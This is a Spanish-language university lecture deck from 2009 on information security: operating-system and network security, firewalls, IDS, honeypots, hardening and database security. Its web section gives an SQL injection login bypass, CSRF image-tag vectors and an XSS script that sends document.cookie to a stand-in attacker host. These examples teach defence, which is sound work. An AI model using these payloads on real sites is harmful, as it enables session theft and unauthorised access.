PolĂticas y Normas M.C. Juan Carlos Olivares Rojas Septiembre 2009
Agenda
• Seguridad en Sistemas Operativos • Seguridad en Redes y Comunicaciones • Seguridad en Internet. • Autenticación de usuarios • Seguridad en Bases de Datos. Validación • Antivirus y respaldos
Políticas y Normas
• El gran problema de la seguridad: “Tenemos (mas que suficientes) tecnologías de seguridad, pero no sabemos como estamos (en el caso de que lo estemos) de seguros”. • En términos genéricos tenemos mejor calidad de vida pero eso no nos garantiza tener seguridad.
Políticas y Normas
• Como se había comentado lo más importantes es saber lo que se quiere proteger (políticas y normas) • Algunos problemas de seguridad en SO: • Arranque inseguro
– ¿Quién lo arranca? – ¿Es realmente el código original?
Seguridad en SO
• Ejecución insegura
– Usuarios con muchos privilegios – Servicios inútiles y con demasiados privilegios
• Degradación de la seguridad
– Integración de nuevo software – Dispositivos de almacenamiento masivo – Sistema sin parchear – Antivirus y Antimalware desactualizados
Seguridad en SO • Existen diversos enfoques de seguridad. Los más comunes son el top-down y el bottom-up. • En el enfoque descendente se inicia con las aplicaciones hasta llegar al sistema operativo y hardware. En el bottom-up que es el más extendido el proceso va al revés (primero que nada seguridad física).
Seguridad en S.O.
• En general un buen mecanismo de seguridad consistirá en un sistema escalonado de permisos (similar a las transacciones en dos fases de la base de datos). • Además del control de acceso a los recursos, el sistema operativo debe de llevar la contabilidad y la auditoria de las actividades realizadas. • ¿Cómo se logra la CIA en un SO?
Seguridad en SO
โ ข La seguridad de las aplicaciones dependen del SO anfitriรณn.
Seguridad en S.O.
• Para alcanzar mayor seguridad el SO tanto como las aplicaciones se desarrollan a través de diversas arquitecturas de software modulares. • Una de las arquitecturas más difundidas es la de microkernel. Separando aplicaciones por capas se puede garantizar seguridad por aislamiento pero hace más vulnerable a los sistemas.
Arquitectura de Windows NT Procesos del Sistema
Services
Control Management Service LSASS
SvcHost.Exe
User Mode
Subsystem Windows
Task Manager
WinMgt.Exe
WinLogon
Envinroments
Applications
Explorer
SpoolSv.Exe
OS/2
User Applications
Services.Exe
Session Handler
POSIX DLLs Subsystem
Windows DLLs
NTDLL.DLL
System Thread
Kernel Mode
System Dispatch System (Kernel Mode Interfaceel)
Kernel Interfaces de Hardware(buses, Dispositivos de E/S , interrupcciones, intervalos de temporizadores, DMA, control de memoria cache , etc.) Hardware Abstraction Layer (HAL)
Local Process Call
Configuration Manager (Registry)
Process and Threads
Virtua Memory
Security Reference Monitor
Energy Manager
Plug and Play Manager
File System Cache
File System and Device Drivers
Object Handler
I/O Manager
Windows USER, GDI
Grpahical Manager
Seguridad en SO
• Los sistemas operativos suelen utilizarse en modo supervisor del microprocesador para garantizar que las aplicaciones causen menos conflictos. • Los SO deben de proporcionar APIs a los programas de aplicación para garantizar seguridad. Por ejemplo GINA (Graphical Identification and Autentication ) y algunas criptoAPIs.
Seguridad en SO
• Para el usuario el Sistema es lo que ve y los SOs no son la excepción. Generalmente las interfaces de usuario en los SO contienen rutinas para manipulación de archivos dado que para la mayoría de SO (principalmente sistemas *X) tienen la premisa de que todo es un archivo.
Registro
• BD centralizada que guarda información de configuración del sistema. ¿Es seguro?
Matriz de Acceso
• Determina que pueden realizar los usuarios sobre los recursos.
Integridad de Aplicaciones
Cajas de arena
Listas de Control de Acceso
• ACL: mecanismos que permiten variar los permisos y usuarios sobre los recursos
Clasificaci贸n de Seguridad
Seguridad en Windows NT
• Manejo de Errores y subsistemas protegidos.
– NT tolera fallos y estos no afectan a otros componentes.
• Sistema de archivos recuperable.
– La E/S de disco se ve como una sola transacción. Ante fallos vuelve atrás.
• Soporte para cintas de respaldos.
Seguridad en Windows NT
• Soporte para UPS
• “Espejado” de disco. • ¿Para que nos sirve hacer particiones en cuestión de seguridad? • ¿Qué diferencias existen de seguridad entre los sistemas de archivos FAT y NTFS?
Seguridad en Windows NT
• Manejo de control de acceso (¿No existe en FAT?) • Sistema de Logging • ¿Existe desfragmentación para NTFS? • Manejo de comprensión • ¿Manejo de cifrado?
Seguridad en Windows NT
• Es sensible a mayúsculas y minúsculas para sistemas *X e indiferente en DOS y Windows. • Los permisos disponibles son: – Lectura – Escritura – Ejecución – Borrado – Cambio de permisos – Tomar posesión
Seguridad en Windows NT
• Manejo de Dominios (servicio de directorios) para la compartición y uso de recursos. • Los dominios pueden estar en un solo servidor o distribuidos por la red. ¿La redundancia de datos es seguridad? • Los datos sobre los usuarios se guardan en una base de datos llamada SAM (disponible en cualquier servidor).
Seguridad en Windows NT
• La seguridad se hace a través de políticas y directivas de seguridad. Por ejemplo el sistema de autenticación: valida la longitud, duración de la contraseña y el número de intentos. • ¿Dónde se ve la auditoria del SO? Visor de Eventos (Sucesos)y tiene tres vriantes: sistema, seguridad y aplicación.
Seguridad en Windows NT
• A partir de Windows Vista se posee Trusted Platform Module (TPM) v1.2 Hardware integrado en el equipo. El cual almacena credenciales en un chip en la tarjeta madre. • Todo el código de las DLLs y ejecutables se firman digitalmente para garantizar la integridad del código.
Seguridad en Windows NT
• La mayoría de los sistemas operativos manejan una política predeterminada de no permitir el acceso a nada. Un control en este sentido es la variable de candado para realizar operaciones de modificación. • Las aplicaciones pueden ejecutarse en diversos contextos como Internet Explorer 7 que puede ejecutarse en modo protegido.
Seguridad en Windows NT
• Los SOs actuales poseen de firewalls para proteger los activos de información de una computadora. • El firewall actual de Windows es tanto de entrada como de salida. • Los SOs actuales cuanten con antimalware (no es una solución completa a un antivirus, es más amplia) que eliminan periódicamente ciertas anomalías.
Seguridad en Windows NT
• Los SOs actuales con un sistema de administración de reinicios capaz de dejar el sistema tal cual se quedó después de una falla.
Seguridad en el Desarrollo de Software
• Hasta hace poco muy pocas metodologías de desarrollo de software consideraban a la seguridad como un requerimiento básico de calidad. • La tendencia ha cambiado bastante a tal punto que existen metodologías como SDL (Microsoft) que manejan roles y procesos de seguridad.
Seguridad en Desarrollo de Sw
• La parte más importante de la seguridad es considerarlo como un requerimiento obligatorio (implícito) a como actualmente son las validaciones de entrada. • Parte importante de la seguridad se puede ver desde diferentes enfoques en cada parte del proceso de desarrollo (análisis, diseño, implementación, pruebas, etc.) pero siempre es importante las arquitecturas de del software con respecto a la seguridad.
Código y poder • El código fuente es poder
– Tanto para defenderse como para atacar
• Compartir el código es compartir el poder. – Con los atacantes y defensores
• Publicar el código fuente sin hacer nada más degrada la seguridad • Por el contrario, publicar el código fuente permite a los defensores y a otros elevar la seguridad al nivel que les convenga.
Software Seguro • El software Fiable es aquel que hace lo que se supone que debe hacer. • El software Seguro es aquel que hace lo que se supone que debe hacer, y nada mas. – Son los sorprendentes “algo mas” los que producen inseguridad.
• Para estar seguro, debes de ejecutar solo software perfecto :-) • O, hacer algo para mitigar ese “algo mas”
El problema M & M
TheDura ‘M&M’Interior Problem Suave Cubierta Resuelto por seguridad perimetral
El problema adicional que hay que resolver
• • • •
Arquitectura Fortaleza
Protección perimetral Estático, no diferenciado Difícil de modificar y adaptar Descuida el insider problem
Arquitectura Aeropuerto
• Mayor flexibilidad
• Múltiples zonas de seguridad basadas en roles • Protecciones multinivel interzonas • Colección jerárquica interactuantes
de
fortalezas
Arquitectura Aeropuerto
Arquitectura P2P
• Conceptos dinámicos de autenticación y autorización
confianza,
• Requerimientos comerciales->Requerimientos tecnológicos • Inferir en tiempo real qué quiero hacer y con quién quiero hacerlo • Puede requerir servicios provistos por TTP (Trusted Third Parties).
Arquitectura SD3
• Propuesta por Microsoft en SDL Seguro por diseño Seguro de forma predeterminada Seguro en implementación
Arquitectura y código seguros Análisis de amenazas Reducción de los puntos vulnerables Menor área expuesta a ataques Las características que no se usan están desactivadas de forma predeterminada Privilegios mínimos Protección: detección, defensa, recuperación y administración Proceso: guías de procedimientos y de arquitectura Usuarios: aprendizaje
•
Consejos de Seguridad
Tenga en cuenta la seguridad – Al comienzo del proceso – Durante el desarrollo
– Durante la implementación
– En los hitos de revisión del software
•
No deje de buscar errores de seguridad hasta el final del proceso de desarrollo
Los retos de la seguridad en las empresas Servidores con roles mĂşltiples y variados
Recursos limitados para implementar soluciones de seguridad Amenazas internas o accidentales
Sistemas obsoletos
Falta de expertos en seguridad
Consecuencia s legales El acceso fĂsico rompe muchas medidas de seguridad
Defensa en Profundidad Usando una estrategia por capas • Se incrementa el riesgo de ser detectado para el atacante • Se reduce su probabilidad de tener éxito
Datos
ACLs, cifrado, EFS
Application Aplicación
Fortificación, antivirus
Host
Fortificacion Fortificación del SO, Autenticación, Parches
Red Interna
Segmentos de Red, IPSec
Perímetro
Firewalls, Acceso a Red, Redes de Cuarentena Guardias, Cerraduras, etc.
Seguridad Física Policies, Procedures, Políticas, Procesos y & Awareness Concienciación
Documentación, formación
Consejos de Seguridad
• Programar bien!!!
• No utilizar funciones inseguras que puedan provocar fallos de desbordamiento. • En C/C++ se debe tener mucho cuidado con los punteros • Se recomienda no utilizar funciones como: strcpy() strcat() sprintf() scanf()sscanf() fscanf() vfscanf(), entre otras.
Fortificación
• El “hardening” (fortificación o endurecimiento) es una técnica de control de seguridad que consiste en tomar medidas elevadas de seguridad en los servidores o equipos de usuarios. • No existe un conjunto de pasos únicos, esto se maneja de forma variada, dependiendo del SO y de los servicios disponibles aunque generalmente existen directrices y líneas base que se pueden seguir.
Fortificación
• Revisa que servicios se deben de ejecutar. • Revisa el grado de seguridad continuamente. • Manejar distintos tipos de restricciones. • Utiliza certificaciones como common criteria.
Fortificando Apache
• Deshabilitar servicios no indispensables • Verificar los bugtracks y actualizar • Proteger los directorios /var/www/ • Crear un directorio /var/www/error
personalizado
• Habilitar los .htaccess y proteger los archivos de users y password del http
mod_dosevasive
• Fácil de configurar • Puede ayudar a evadir ataques de DoS bloqueando direcciones ip o URLs temporalmente. LoadModule dosevasive20_module modules/mod_dosevasive20.so <IfModule mod_dosevasive20.c> DOSHashTableSize 3097 DOSPageCount 2 DOSPageInterval 1 DOSSiteCount 50 DOSSiteInterval 1 DOSBlockingPeriod 10 DOSEmailNotify admin@domain.com DOSLogDir "/tmp/mod_dosevasive“ (make writable by apache only)
</IfModule>
Características mod_security • Los filtros se aplican antes de ejecutar los scripts • Soporta SSL • Entienden el protocolo http • Hace logging completo incluyendo post data • Las reglas son personalizadas usando expresiones regulares y pueden ser aplicadas a niveles de virtual hosts
Oscurantismo
• Es un mecanismo de seguridad que consiste en ocultar información y servicios. • Un servidor Web se ejecuta en el puerto 80 pero puede cambiarse de puerto. Esto garantiza cierta seguridad hasta que no se descubra el servicio. • El código abierto es un ejemplo claro que el oscurantismo no funciona.
Oscurantism0
• NO SE DEBEN DE UTILIZAR NUNCA CONFIGURACIONES PREDETERMINADAS. • Se deben cambiar las configuraciones predeterminadas de forma robusta antes de entrar a la red. • El conocimiento de configuraciones predeterminadas es un vector ataque muy utilizado.
Seguridad en Redes y Comunicaciones
• Uno de los activos de información más importantes dentro de las organizaciones es la infraestructura de telecomunicaciones tanto de datos como de voz. • A través de las redes de voz y datos fluye toda la información de la empresa, si esta no está disponible, es confiable e integra se tendrá una serie de problemas.
Seguridad en Red
• Lo primero que se debe de hacer es la evaluación del desempeño y seguridad de la red. • En redes de computadoras interesa que tengan una alta disponibilidad con un buen uso del ancho de banda. Por este motivo se necesita monitorear la red con software especializado como nagios, cactis, mrtg, entre otros.
Seguridad en Red
• Las herramientas de monitoreo tienen la característica de notificar lo que está ocurriendo en tiempo real. • Se suele confundir comúnmente con los sniffers y analizadores de protocolos dado que realizan en esencia la misma función básica de capturar paquetes en la red. • El desempeño de la red está dado por los protocolos de comunicación empleados.
Seguridad en Red
• La seguridad de la red parte desde la capa 0 o Cableado estructurado, pasando por la capa física y enlace (NICs), el SO (capa de red, transporte, sesión, presentación) y de las aplicaciones de red. • Se puede utilizar la segmentación de redes y el manejo de hardware especializado para un mejor desempeño y seguridad de la red. • Las aplicaciones de red son quizás la parte de seguridad más importante.
Seguridad en Redes
• En cuestión de las aplicaciones se necesita hacer un análisis de que se comparte, cómo se comparte y hacia quien se comparte. Con estas características se puede mejorar la seguridad de la red. • Para asegurarse que los controles implantados sean los correctos es necesario evaluarlos haciendo “hacking ético”.
Seguridad en Redes
• El hacking ético consiste en la enumeración de propiedades de un sistema como puertos, aplicaciones abiertas, tipo de sistema operativo, etc. • Con toda esta información el ataque debe preparar un plan de ataque. Para ello puede auxiliarse de herramientas de código malicioso como virus, exploits, rootkits, sniffers, password crackers, etc. La herramienta dependerá de lo que se pretende atacar (vector de ataque).
Seguridad en Redes
• Para este curso se propone un esquema de seguridad en tres fases: • Prevención de Intrusos (IPS). • Detección de Intrusos (IDS) • Engaño de usuarios (Honeywall) • Retroalimentación (fortificacion de activos)*
Seguridad en Redes
• Tarea próximo sábado: mostrar evaluación de la seguridad de redes (análisis de vulnerabilidades vía software) que servirá de indicadores meta. Se deberá indicar con que controles de seguridad se cuentan. • Examen: se realizarán equipos de dos personas para escoger uno de los temas, se deberá exponer la instalación de la herramienta, como se usa y demostrar de forma práctica y presencial que mejora la seguridad.
Seguridad en Redes
• El examen será el día 7 de noviembre. Se deberá tener un escenario de cómo estaba antes la seguridad sin el control implementado. • Se evaluará que el control esté correctamente implementado (80%), y 20% la presentación (documento de instalación y configuración – tratar de no dejar configuración por default-). El examen vale el 70% del parcial.
IPS
• Los sistemas de prevención de intrusos más famosos son los firewalls. • Un firewall es un dispositivo que filtra el tráfico de la redes. Puede ser un dispositivo físico o un software sobre un sistema operativo. • Existen dos tipos de firewall de host y de red. Cuando es de host se instala un software en el sistema operativo (o ya viene instalado).
IPS
• Cuando se trata de un firewall de red puede ser un hardware especializado o una computadora adaptada con dos o más interfaces de red. • El firewall se encarga de determinar en base a políticas de acceso que paquetes deben de entrar y de salir de la red. • En general se filtran paquetes por IP, Puerto y contenido (especializados).
IPS
• Los firewall funcionan como barda perimetral permitiendo el acceso o denegándolo a los datos de las aplicaciones. • El análisis de contenido de un firewall tiene la característica que es altamente consumidor de tiempo y no puede ser del todo efectivo. Por ejemplo en HTTP se sugiere utilizar un proxycache.
IPS
• Lo más importante es la creación de un esquema o arquitectura que permita manejar seguridad de forma eficiente. Existen diversas arquitecturas para configurar firewall. • Entre más puntos de control se tengan mejor es la seguridad pero el desempeño de la red puede no ser el óptimo.
Arquitecturas de IPS
â&#x20AC;˘ Centralizada:
â&#x20AC;˘ Zona desmilitarizada:
Arquitecturas de IPS
• DMZ con dos firewalls:
• Las arquitecturas de IPS varían dependiendo de la topología de la red y de la prioridad de los activos de información.
IPS
• Existen un sin fin de herramientas de firewalls. • Las más comunes so a través del sistema operativo como IPTables en el caso de los sistemas Linux y las soluciones de hardware.
• • • • • • • • • • • • • •
IP Table
!/bin/sh ## SCRIPT de IPTABLES − ejemplo del manual de iptables echo −n Aplicando Reglas de Firewall ## FLUSH de reglas iptables −F iptables −X iptables −Z iptables −t nat −F ## Establecemos politica por defecto iptables −P INPUT ACCEPT iptables −P OUTPUT ACCEPT iptables −P FORWARD ACCEPT iptables −t nat −P PREROUTING ACCEPT iptables −t nat −P POSTROUTING ACCEPT
• • • • • • • • • • •
IP Table
## Empezamos a filtrar # El localhost se deja (por ejemplo conexiones locales a mysql) /sbin/iptables −A INPUT −i lo −j ACCEPT # A nuestra IP le dejamos todo iptables −A INPUT −s 195.65.34.234 −j ACCEPT # A un diseñador le dejamos usar el FTP iptables −A INPUT −s 80.37.45.194 −p tcp −dport 20:21 −j ACCEPT # El puerto 80 de www debe estar abierto, es un servidor web. iptables −A INPUT −p tcp −−dport 80 −j ACCEPT iptables −A INPUT −p tcp −−dport 1:1024 iptables −A INPUT −p udp −−dport 1:1024
Configuración IP Table
• # Cerramos otros puertos que estan abiertos • iptables −A INPUT −p tcp −−dport 3306 −j DROP • iptables −A INPUT −p tcp −−dport 10000 −j DROP • iptables −A INPUT −p udp −−dport 10000 −j DROP • echo " OK . Verifique que lo que se aplica con: iptables −L −n" • # Fin del script.
IDS
• Los IDS son sistemas que monitorea diversas fuentes y formas los SI. • Compara el tráfico con patrones de ataques. • Identifica problemas relacionados con el abuso de privilegios • Realiza análisis estadístico en busca de patrones de actividad anormal
IDS
• ¿Por qué utilizar un IDS si ya se cuenta con un IPS? • Esta es la pregunta que casi todo administrador de red y encargados de seguridad se hacen. • El firewall como se había comentado es una especie de barda, los IDS viene siendo el sistema de monitoreo de circuito cerrado.
IDS
• En muchas ocasiones el principal enemigo ya está dentro. • Muchas herramientas de seguridad basadas en hardware generalmente ya incluyen características de IDS pero siguen llamándose firewalls. • Además el IDS puede detectar ataques por entunelamiento,de vulnerabilidades de aplicaciones y de la parte segura de la red.
IDS
• Los IDS pueden ser a nivel de Host (HIDS) siendo quizás los más populares y a nivel de red (NIDS). • Los NIDS monitorean el tráfico de la red mostrando alertas sobre ciertas anomalías. • Los HIDS sólo se preocupan por los eventos locales a una máquina monitoreando el tráfico de red o elementos de la misma máquina
IDS
• Los HIDS Monitorean:
– Sesiones de usuarios – Actividades de los usuarios privilegiados – Cambios en el sistema de archivos
• A pesar de las múltiples ventajas, los IDS presentan algunos inconvenientes como: • Generación de falsos positivos • No pueden analizar tráfico cifrado
IDS
• Son tan efectivos como actualización de patrones. • Alta latencia notificación
entre
el
la
ataque
última y
la
• Dificultad para realizar análisis en redes congestionadas • No indican si un ataque ha sido exitoso o no
• No son infalibles
IDS
• No compensan una mala administración • No investigan humana
ataques
sin
intervención
• No intuyen ni siguen las políticas de seguridad organizacional
IDS
• Los IDS es un control de seguridad que está siendo implementado actualmente con mucha frecuencias en las organizaciones. • Como toda herramienta tecnológica depende en gran medida de la persona que se encargue de la toma de decisiones. • Los IDS más populares son snort y tripwire.
IDS
• Los IDS definen reglas de advertencia muy similar a las reglas de prevención de un IPS. Aquí la semántica cambia dado que si se cumplen dichas reglas se trata de un “ataque”. • Ya existen base de datos con firmas que contienen la caracterización de ataques comunes a servicios generales.
Honeywall
• La detección de intrusos puede ser mejorada a través de máquinas denominadas señuelo o bastión que permiten proteger los demás activos de información entreteniendo al atacante. • Cuando se trata de un host individual se le llama honeypot y cuando se habla de un conjunto de máquinas recibe el nombre de honeynet.
Honeywall
• Tener máquinas de carnada tiene un costo alto que pagar. Formalmente los honeywall son equipos simulados que permiten garantizar una protección adicional. • Últimamente se han vuelto populares por el uso masivo de virtualización en todos los entornos. • El software existente cada vez es más sencillo de manejar.
Honeywall
• Pocas empresas garantizan este nivel de seguridad. Generalmente se enfocan a IPS después a IDS y hasta al último estas soluciones. • El equipo o red atacada debe de ser monitorizada constantemente para tomar acciones de defensa. • Algunas implementaciones honeycomb, sebek entre otras.
son:
honeyd,
Seguridad en Internet • El acceso a redes externas y públicas como Internet hace que la comunicación sea aun más insegura. • Se deben tomar las mismas precauciones que en la red local sólo se debe de considerar que servicios se proveen y como es que deben de ser provistos.
Inyección de código SQL
• Es un ejemplo claro tanto de seguridad en Internet (Web), seguridad en el desarrollo de aplicaciones (lenguajes dinámicos en el lado del servidor como PHP, JSP, ASP) y bases de datos (como mysql y SQL Server). • Estos tipos de ataques se deben a algunas de las bondades de SQL: ejecución de varios comandos en una sola instrucción, embeber comentarios, realizar consultas de metadatos y shellscripts.
Inyección de código SQL
• Estos ataques se derivan de validaciones incorrectas de datos de un formulario que sirven de punto de entrada para los scripts dinámicos de consultas de datos. • Por ejemplo la instrucción: SELECT * FROM login WHERE usuario’=fulantio’ OR ‘1’=‘1’ -AND password=‘’; • Es correcta. Pudiendo entrar a un sistema o bien mostrando datos.
Inyección de SQL
• ¿Cómo se pueden securizar las aplicaciones Web que manejan consultas a bases de datos? • Validar datos del usuario: entre menos escriba mejor. • No utilizar sentencias SQL construidas dinámicamente (manejar consultas preparadas -Preparament Statement-)
Inyección de SQL
• No utilizar cuentas de usuarios privilegiados. • No proporcionar mayor información que la necesaria. • Al momento de validar campos eliminar caracteres como comillas sencillas.
Seguridad en WebApps Aplicación Validación de Entradas Autenticación Autorización Gestión de Configuración Datos Sensibles
Gestión de Sesiones Criptografía Manipulación de Parámetros Gestión de Excepciones Auditoría y Logging
Red Servidor Web
Firewall
Firewall
Router Firewall Switch
Servidor de Aplicaciones
Servidor de BD
Servidor Parches Servicios Protocolos
Cuentas Archivos y Directorios Compartidos
Puertos Registro Auditoría y Logging
XSS
• XSS (Cross Site Scripting) es una vulnerabilidad que permite al hacker ejecutar código script en un cliente web. • Dos entradas principales:
– Contempladas (foros, emails, librerías…) – Ocultas (querystring, campos HTML…)
• Impactos:
– Modificación del contenido – Envío de información – Robo de sesión
• Tipos de XSS:
XSS
• Nivel 0 Local ó basada en DOM: Un script local accede a parámetros request de la URL y los utiliza para construir código script. • Nivel 1 No Persistente ó Reflejada: • Se utilizan los datos de entrada de formularios para construir scripts, permitiendo la inyección de código.
XSS
• Nivel 2 Persistente ó Segundo Orden • Es la más poderosa. Los datos se almacenan en una bd y posteriormente se muestran a los usuarios, inyectando el código continuamente. • Tampering: cambio de valores en parámetros ocultos para realizar un ataque al sistema.
XSS
• Ejemplo de XSS Nivel 0:
• Link Original: • www.example.com/login.aspx?user=angel
• Link Malicioso: • www.example.com/login.aspx?user=<script>a >
XSS
• Aparentemente esto no es perjudicial (no pasa de ser una broma), que pasaría si: • <script> • document.location = 'http://maligno.ejemplo.org/roba_cookies.php ?cookies=' + document.cookie • </script> • Otra variante de ataques es el CSRF
CSRF
• CSRF (Cross Site Reference Forgery) consiste en hacer que una aplicación ejecute una acción creyendo que la hizo un usuario. La peligrosidad de este tipo de ataque es bastante alta dado que permite el control de una sesión de forma remota. • Vectores de ataque comunes: • <img src=http://www.ilike.com/backend?addSong=998822> • <img src=http://foro.com/borrar.php?foro=1>
• Soluciones:
CSRF
– “clave” aleatoria, que solo es válida una vez.
– Se debe enviar en cada petición hecha. – Se debe invalidar despues de usarse. – Ejemplo: http://hi5.com/friend/mail/deleteMail.do?msgId=1&senderI
• Mitos: • Checar el “referrer” te protege de CSRF. • Recibir info por POST te protege.
Seguridad en WebApps
• Reglas básicas:
• No confies en lo que lees. • No confies en lo que vas a escribir. • No confies en lo que quieres modificar.
Autenticación de usuarios
• Los usuarios deben de validarse por diversos medios. • La autenticación de los usuarios debe de manejarse preferentemente de forma independiente de las aplicaciones y activos de información. • Más que autentificar usuarios se debe de proteger los activos de información.
Seguridad en Bases de Datos. ValidaciĂłn
â&#x20AC;˘ Los datos almacenados deben de poderse asegurar de forma robusta ya que su contenido es lo que generalmente da valor a las organizaciones. â&#x20AC;˘ Una parte importante del proceso de aseguramiento de base de datos es el proceso de validaciĂłn, un gran porcentaje de errores puede reducirse significativamente si se validan las entradas.
Seguridad en BD Datos de Entrada
Almacenamiento
Monitoreo Control de Acceso Datos de Salida
Seguridad en BD Robo
Modificaci贸n de Datos $50,000
$500.00
Desviaci贸n de Datos
Seguridad en BD
• Es importante definir permisos (ACL) a los recursos. • Cifrado de datos (problema almacenamiento de contraseñas).
del
• Existen ya algunas preguntas claves que se pueden utilizar para indicar el grado de seguridad que tiene algún activo de información. A continuación se muestran algunas de ellas para BD.
Seguridad en BD
• ¿Cuál es la plataforma sobre la que esta construida la base de datos? • ¿La base de datos brinda herramientas para la seguridad de los datos? • ¿El equipo (Humano) de trabajo posee los conocimientos suficientes para encontrar mecanismos alternos de seguridad?
Seguridad en BD
• ¿La base de datos trabaja en un entorno multiusuario? • ¿Qué personas del equipo deberían tener acceso a la base de datos? • ¿Todas las personas del equipo de trabajo deberían tener acceso a la totalidad de los datos de la base?
Seguridad en BD
• ¿La base de datos funciona en un entorno distribuido? • ¿La ubicación de los archivos de base de datos es la adecuada? • ¿Existen políticas adecuadas asignación de usuarios?
para
la
• ¿Existen políticas adecuadas para validar la complejidad de las contraseñas?
Seguridad en BD
• ¿El personal técnico esta al tanto de las nuevas modalidades ilegales de extracción de conocimiento? • ¿Se cuenta con un Firewall dentro de la red? • ¿Se registra de manera permanente y sistemática el acceso a los datos incluyendo la persona, fecha y motivo de acceso?
Seguridad de los Datos
• ¿La información se captura de la manera adecuada? • ¿La información se captura en los tiempos estipulados y/o adecuados? • ¿El personal que captura los datos, es idóneo para hacerlo? • ¿Se realiza una precrítica de los datos capturados?
Seguridad en los Datos
• ¿Qué información se debe publicar?
• ¿Quiénes deben publicar la información? • ¿Se especifica si el dato publicado es parcial o definitivo? • En caso de existir un error en la captura del dato, ¿Se repara inmediatamente?
Seguridad en los Datos
• ¿Se tiene especial cuidado con las normas de ortografía para la captura del dato? • ¿Existe documentación escrita sobre la ubicación de cada una de las bases de datos utilizadas? • ¿Están adecuadamente configurados perfiles de acceso a cada base de datos?
los
Seguridad en los Datos
• ¿Se realizan backups de la base de datos de manera permanente y sistemática? • ¿Existen protocolos para la realización de backups? • ¿Es claro para el personal técnico que NINGUNA base de datos debe ser eliminada de un recurso computacional antes de realizar un backup sobre la misma?
Seguridad en BD
â&#x20AC;˘ En general los esquemas de modelo de BD no incluyen el aspecto de seguridad. SSN
Date
Function Title
Name Employee
(0,N)
Is Assigned to
(0,M)
Project
Subject
Dep Client
Salary SSN
Title
Fortificación de BD
• Principio de menor privilegio (creación de vistas). • Actualización constante de parches • Eliminar o predeterminadas.
deshabilitar
cuentas
• Correr procesos del manejador de BD con cuentas no privilegiadas.
Fortificación de BD
• Deshabilitar componentes no necesarios • Utilizar procedimientos almacenados así como disparadores.
Modelo NTK(need to know) • Se subdividen los datos en compartimientos • Cada sujeto S tiene un un conjunto de compartimientos que necesita conocer NTK(S) • Cada objeto O consta de un conjunto de compartimientos comp(O) • Un sujeto S tiene acceso de lectura a O si comp(O) ⊆ NTK(S)
Modelo Biba
â&#x20AC;˘ Busca mantener la integridad de los datos. Sujetos y objetos se clasifican por niveles de integridad. Los datos son modificados solo por quienes tienen mayor integridad que los datos mismos. â&#x20AC;˘ S puede modificar O, si I(S) >= I(O) â&#x20AC;˘ Si S puede leer O, S puede escribir P solo si I(O) >= I(P).
Antivirus y respaldos
• Se recomienda realizar respaldos periódicos de preferencia a nivel de bits de cada uno de los activos de información. • Los respaldos deben de hacerse completos e incrementales. • Los programas antivirus deben actualizarse frecuentemente, deben de validar cualquier tipo de código malicioso.
Referencias • Date, C. (2001) Introducción a los Sistemas de Bases de Datos, Séptima edición, Capítulo 16 Seguridad, Pearson Educación, pp. 504-536. • McPherson, F. (2005), Pocket PC a su Alcance, 3ra. Edición, McGraw-Hill, México, 2005, ISBN: 970-10-4731-1.
Referencias • Elmasri, R. y Navathe S. (2000) Sistemas de Bases de Datos, 2da. Edición. Capítulo 20 Seguridad, Addison-Wesley 200, México, pp. 599-613, ISBN: 968-444-399-4. • Tanenbaum, A. y Van Steen, M. (2007). Distributed Systems. Principles and Paradigms, Segunda edición, Capítulo 9 Seguridad, Pearson Education, Estados Unidos, pp. 377-442, ISBN: 0-13-239227-5.
Referencias • Guerrero, R. (2008). Proyecto de Comunicación Telefónica VoIP en Gobierno del Estado de Michoacán, Tesina de Titulación. • Watters, P (2005) Solaris 10 The Complete Reference, McGraw-Hill Osborne, Estados Unidos, ISBN: 0-07-222998-5.
Referencias • Coulouris, G., Dollimore, J. y Kindberg, T. (2001). Sistemas Distribuidos, Capítulo 7 Seguridad, pp. 235-289, ISBN: 84-7829049-4. • Nyhus, R. (2008). Redes y Redes Inalámbricas. PC Cuadernos, España. • Facundo, H. (2007). Revista USERS LinuxSeguridad, número 24 pp. 24-37.
Referencias • Froufe, A. y Jorge, P. (2004) J2ME Java 2 Micro Edition, Alfaomega Ra-Ma, México, ISBN: 970-15-1022-4. • Millán, R. (2006). Domine las Redes P2P, Alfaomega, España, ISBN: 970-15-1206-5. • Velte, T. (2008). Manual de Cisco, Cuarta Edición, McGraw-Hill, México, ISBN: 978970-10-5927-2
Referencias • Stallings, W. (2004) Comunicaciones y Redes de Computadoras, Séptima Edición, Pearson Prentice Hall, España, ISBN: 84205-4110-9. • Nichols, R. y Lekkas, P. (2003) Seguridad para Comunicaciones Inalámbricas, McGraw-Hill, España, ISBN: 84-481-37825.
Referencias • Gómez, A. (2007). Enciclopedia de la Seguridad Informática, Alfaomega, México, ISBN: 978-970-15-1266-1. • McNab, C. (2004). Seguridad de Redes. Anaya Multimedia O’Reilly, España, ISBN: 84-415-1751-1 • Caballero, P. (2001), Introducción a la criptografía Alfaomega – Rama
References
â&#x20AC;˘ Senft, S. And Gallegos, F. (2008) Information Technology Control and Audit, Third Edition, CRC Press, United States